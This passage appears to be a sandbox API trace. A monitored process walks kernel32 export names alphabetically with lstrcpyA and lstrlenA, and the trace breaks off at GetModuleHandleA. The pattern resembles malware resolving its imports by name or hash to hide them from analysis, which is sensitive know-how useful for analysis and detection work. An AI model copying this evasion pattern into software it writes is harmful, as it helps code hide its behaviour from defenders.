lstrcpyA (in: lpString1=0x21ff220, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0047.306] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0047.306] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0047.306] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0047.306] lstrlenA (lpString="CHECKELEVATION") returned 14 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0047.307] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0047.307] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0047.307] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0047.307] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0047.307] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0047.307] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0047.307] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0047.307] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0047.307] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0047.307] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0047.307] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0047.307] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0047.308] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0047.308] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0047.308] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0047.308] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0047.308] lstrlenA (lpString="CLOSESTATE") returned 10 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0047.308] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0047.308] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0047.308] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0047.308] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0047.308] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0047.308] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0047.308] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0047.309] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0047.309] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0047.309] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0047.309] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0047.309] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0047.309] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0047.309] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0047.309] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0047.309] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0047.309] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0047.309] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0047.309] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0047.309] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0047.309] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0047.309] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0047.309] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0047.310] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0047.310] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0047.310] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0047.310] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0047.310] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0047.310] lstrlenA (lpString="COPYCONTEXT") returned 11 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0047.310] lstrlenA (lpString="COPYFILE2") returned 9 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0047.310] lstrlenA (lpString="COPYFILEA") returned 9 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0047.310] lstrlenA (lpString="COPYFILEEXA") returned 11 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0047.310] lstrlenA (lpString="COPYFILEEXW") returned 11 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0047.310] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0047.310] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0047.310] lstrlenA (lpString="COPYFILEW") returned 9 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0047.310] lstrlenA (lpString="COPYLZFILE") returned 10 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0047.310] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0047.310] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0047.311] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0047.311] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0047.311] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0047.311] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0047.311] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0047.311] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0047.311] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0047.311] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0047.311] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0047.311] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0047.311] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0047.311] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0047.311] lstrlenA (lpString="CREATEEVENTA") returned 12 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0047.311] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0047.311] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0047.311] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0047.311] lstrlenA (lpString="CREATEEVENTW") returned 12 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0047.312] lstrlenA (lpString="CREATEFIBER") returned 11 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0047.312] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0047.312] lstrlenA (lpString="CREATEFILE2") returned 11 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0047.312] lstrlenA (lpString="CREATEFILEA") returned 11 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0047.312] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0047.312] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0047.312] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0047.312] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0047.312] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0047.312] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0047.312] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0047.312] lstrlenA (lpString="CREATEFILEW") returned 11 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0047.312] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0047.312] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0047.312] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0047.312] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0047.312] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0047.313] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0047.313] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0047.313] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0047.313] lstrlenA (lpString="CREATEJOBSET") returned 12 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0047.313] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0047.313] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0047.313] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0047.313] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0047.313] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0047.313] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0047.313] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0047.313] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0047.313] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0047.313] lstrlenA (lpString="CREATEPIPE") returned 10 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0047.313] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0047.313] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0047.313] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0047.314] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0047.314] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0047.314] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0047.314] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0047.314] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0047.314] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0047.314] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0047.314] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0047.314] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0047.314] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0047.314] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0047.314] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0047.314] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0047.314] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0047.314] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0047.314] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0047.314] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0047.314] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0047.315] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0047.315] lstrlenA (lpString="CREATETHREAD") returned 12 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0047.315] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0047.315] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0047.315] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0047.315] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0047.315] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0047.315] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0047.315] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0047.315] lstrcpyA (in: lpString1=0x21ff220, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0047.316] GetModuleHandleA 